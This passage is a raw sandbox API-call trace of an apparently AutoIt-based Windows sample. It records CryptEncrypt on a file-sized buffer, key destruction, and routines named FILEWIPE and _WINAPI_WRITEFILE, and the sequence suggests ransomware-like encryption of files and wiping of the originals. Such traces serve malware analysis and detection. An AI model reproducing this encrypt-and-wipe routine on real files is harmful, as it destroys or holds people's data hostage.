[0029.657] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.657] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.657] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.657] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.657] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.657] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.657] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.657] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.657] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.657] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.657] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.657] CryptEncrypt (in: hKey=0xe8f40624f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x9f0d, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x9f10) returned 1 [0029.657] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.657] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.657] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.658] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.658] CharLowerBuffW (in: lpsz="byte[40721]", cchLength=0xb | out: lpsz="byte[40721]") returned 0xb [0029.658] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.658] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.658] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.658] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.658] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.658] CryptEncrypt (in: hKey=0xe8f40624f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f4397d90*, pdwDataLen=0xe8f3dfdf68*=0x9f0d, dwBufLen=0x9f10 | out: pbData=0xe8f4397d90*, pdwDataLen=0xe8f3dfdf68*=0x9f10) returned 1 [0029.658] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.658] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.658] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.659] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.659] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.659] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.659] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.659] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.659] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.659] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.659] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.659] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.659] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.659] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.659] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.659] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.659] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.660] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.660] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.660] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.661] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.661] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.661] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0029.661] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.661] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.661] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0029.661] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.661] CryptDestroyKey (hKey=0xe8f40624f0) returned 1 [0029.662] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.662] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.662] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.662] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.662] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.662] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0029.662] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0029.662] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.662] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.662] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0029.662] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.662] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.662] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.662] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.662] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.662] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.662] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.662] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.662] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.662] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.662] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.662] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.662] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0029.662] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.662] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.662] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.662] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.662] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.662] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.662] CryptReleaseContext (hProv=0xe8f40633e0, dwFlags=0x0) returned 1 [0029.663] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.663] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.663] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.663] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.663] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.663] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.663] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.664] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.664] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.664] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0029.664] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.664] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.664] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.664] CharLowerBuffW (in: lpsz="byte[40717]", cchLength=0xb | out: lpsz="byte[40717]") returned 0xb [0029.664] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.664] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0029.665] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.665] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0029.665] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.665] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.665] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.665] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0029.665] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.665] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.665] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.665] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.665] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.665] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.665] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.665] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.665] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.665] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.665] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.665] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.665] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.665] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.665] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.665] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.665] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0029.665] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.665] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.666] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.666] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0029.666] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.666] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.666] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.666] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.666] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.666] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.666] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0029.666] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.666] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.666] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.666] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.666] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.667] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.668] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.668] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0029.668] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.668] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.668] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.668] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.668] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.669] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0029.669] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=11514) returned 1 [0029.669] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.669] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0029.669] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0029.669] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x2cfa, lpOverlapped=0x0) returned 1 [0029.669] ReadFile (in: 